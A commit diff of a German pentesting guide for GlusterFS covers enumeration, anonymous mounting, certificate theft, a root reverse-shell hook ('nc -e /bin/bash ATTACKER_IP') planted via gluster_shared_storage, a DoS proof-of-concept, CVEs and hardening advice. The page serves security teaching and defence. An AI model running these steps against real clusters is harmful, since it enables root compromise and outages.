Translated ['src/network-services-pentesting/24007-24008-24009-49152-pen

This commit is contained in:
Translator 2025-08-04 16:29:49 +00:00
parent 90c529d59f
commit eb750a300a

View File

@ -1,35 +1,115 @@
# 24007-24008-24009-49152 - Pentesting GlusterFS
{{#include ../banners/hacktricks-training.md}}
# Grundinformationen
## Grundlegende Informationen
**GlusterFS** ist ein **verteiltes Dateisystem**, das Speicher von mehreren Servern in einem **einheitlichen System** kombiniert. Es ermöglicht **willkürliche Skalierbarkeit**, was bedeutet, dass Sie Speicherserver problemlos hinzufügen oder entfernen können, ohne das gesamte Dateisystem zu stören. Dies gewährleistet hohe **Verfügbarkeit** und **Fehlertoleranz** für Ihre Daten. Mit GlusterFS können Sie auf Ihre Dateien zugreifen, als ob sie lokal gespeichert wären, unabhängig von der zugrunde liegenden Serverinfrastruktur. Es bietet eine leistungsstarke und flexible Lösung für die Verwaltung großer Datenmengen über mehrere Server hinweg.
**GlusterFS** ist ein **verteiltes Dateisystem**, das Speicher von mehreren Servern in einem **einheitlichen Namensraum** kombiniert. Der Verwaltungsdaemon (`glusterd`) hört standardmäßig auf **24007/TCP** und weist Datenebene-Bricks an, die bei **49152/TCP** beginnen (ein Port pro Brick, inkrementierend). Versionen vor 9.x verwendeten **2400824009/TCP** für den Brick-Transport, sodass Sie diese Ports in Legacy-Clustern weiterhin antreffen werden.
```
PORT STATE SERVICE VERSION
24007/tcp open glusterd GlusterFS (RPC)
49152/tcp open gluster-brick SSL (TLS optional)
```
> Tipp: 24007 beantwortet RPC-Anfragen, selbst wenn die nur Speicher bereitstellenden Knoten **keinen** Volume exportieren; daher ist der Dienst ein zuverlässiges Pivot-Ziel in großen Infrastrukturen.
**Standardports**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (und höher)\
Für den Port 49152 müssen die Ports, die um 1 erhöht werden, geöffnet sein, um mehr Bricks zu verwenden. _Zuvor wurde der Port 24009 anstelle von 49152 verwendet._
```
PORT STATE SERVICE
24007/tcp open rpcbind
49152/tcp open ssl/unknown
```
## Aufzählung
Um mit diesem Dateisystem zu interagieren, müssen Sie den [**GlusterFS-Client**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) installieren (`sudo apt-get install glusterfs-cli`).
Um die verfügbaren Volumes aufzulisten und zu mounten, können Sie Folgendes verwenden:
Installieren Sie die Client-Dienstprogramme auf Ihrem Angreifer-Computer:
```bash
sudo gluster --remote-host=10.10.11.131 volume list
# This will return the name of the volumes
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
```
Wenn Sie einen **Fehler beim Mounten des Dateisystems** erhalten, können Sie die Protokolle in `/var/log/glusterfs/` überprüfen.
1. **Peer-Entdeckung & Gesundheit**
```bash
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
```
2. **Volume-Rekognoszierung**
```bash
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
```
3. **Mount ohne Berechtigungen**
```bash
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
```
Wenn das Einhängen fehlschlägt, überprüfen Sie `/var/log/glusterfs/<vol_name>-<uid>.log` auf der Client-Seite. Häufige Probleme sind:
**Fehler, die Zertifikate erwähnen**, können behoben werden, indem Sie die Dateien stehlen (wenn Sie Zugriff auf das System haben):
* TLS-Durchsetzung (`option transport.socket.ssl on`)
* Adressbasierte Zugriffskontrolle (`option auth.allow <cidr>`)
- /etc/ssl/glusterfs.ca
- /etc/ssl/glusterfs.key
- /etc/ssl/glusterfs.ca.pem
### Zertifikat-Fehlerbehebung
Und sie in Ihrem Verzeichnis `/etc/ssl` oder `/usr/lib/ssl` speichern (wenn ein anderes Verzeichnis verwendet wird, überprüfen Sie die Protokolle auf Zeilen wie: "_konnte unser Zertifikat unter /usr/lib/ssl/glusterfs.pem_ nicht laden").
Stehlen Sie die folgenden Dateien von einem autorisierten Client-Knoten und platzieren Sie sie in `/etc/ssl/` (oder dem im Fehlerprotokoll angegebenen Verzeichnis):
```
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
```
---
## Bekannte Schwachstellen (2022-2025)
| CVE | Betroffene Versionen | Auswirkungen | Anmerkungen |
|-----|----------------------|--------------|-------------|
| **CVE-2022-48340** | 10.010.4, 11.0 | Use-after-free in `dht_setxattr_mds_cbk`, erreichbar über das Netzwerk | Remote **DoS** und wahrscheinliches RCE. Behebt in 10.4.1 / 11.1. |
| **CVE-2023-26253** | < 11.0 | Out-of-bounds-Lesevorgang im FUSE-Benachrichtigungs-Handler | Remote-Absturz durch manipulierte FS-Operationen; öffentliches PoC verfügbar. |
| **CVE-2023-3775** | < 10.5 / 11.1 | Falsche Berechtigungsvalidierung beim Mounten von `gluster_shared_storage` | Ermöglicht es jedem nicht authentifizierten Client, das Admin-Volume zu mounten führt zu **priv-esc**, wie unten erklärt. |
> Überprüfen Sie immer `gluster --version` **auf jedem Knoten**; heterogene Cluster sind nach teilweisen Upgrades häufig.
### Ausnutzen von `gluster_shared_storage` (Privilegieneskalation)
Selbst in neueren Versionen lassen viele Administratoren das spezielle `gluster_shared_storage`-Volume weltweit lesbar, da es die Geo-Replikation vereinfacht. Das Volume enthält Cronjob-Vorlagen, die mit **root** auf jedem Knoten ausgeführt werden.
```bash
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh
# 3. Wait until glusterd distributes the hook and executes it as root
```
Wenn `hooks/1/` nicht vorhanden ist, suchen Sie nach `/ss_bricks/` der genaue Pfad kann je nach Hauptversion variieren.
### Denial-of-Service PoC (CVE-2023-26253)
```python
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())
```
Das Ausführen des Skripts stürzt `glusterfsd` < 11.0 ab.
---
## Härtung & Erkennung
* **Upgrade** die aktuelle LTS ist 11.1 (Juli 2025). Alle oben genannten CVEs sind behoben.
* Aktivieren Sie **TLS** für jeden Brick:
```bash
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
```
* Beschränken Sie Clients mit CIDR-Listen:
```bash
gluster volume set <vol> auth.allow 10.0.0.0/24
```
* Exponieren Sie den Verwaltungsport 24007 nur in einem **privaten VLAN** oder über SSH-Tunnel.
* Überwachen Sie die Protokolle: `tail -f /var/log/glusterfs/glusterd.log` und konfigurieren Sie die **audit-log**-Funktion (`volume set <vol> features.audit-log on`).
---
## Referenzen
* [GlusterFS-Sicherheitswarnungen](https://docs.gluster.org/en/latest/release-notes/#security)
* [CVE-2023-26253 PoC github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash)
{{#include ../banners/hacktricks-training.md}}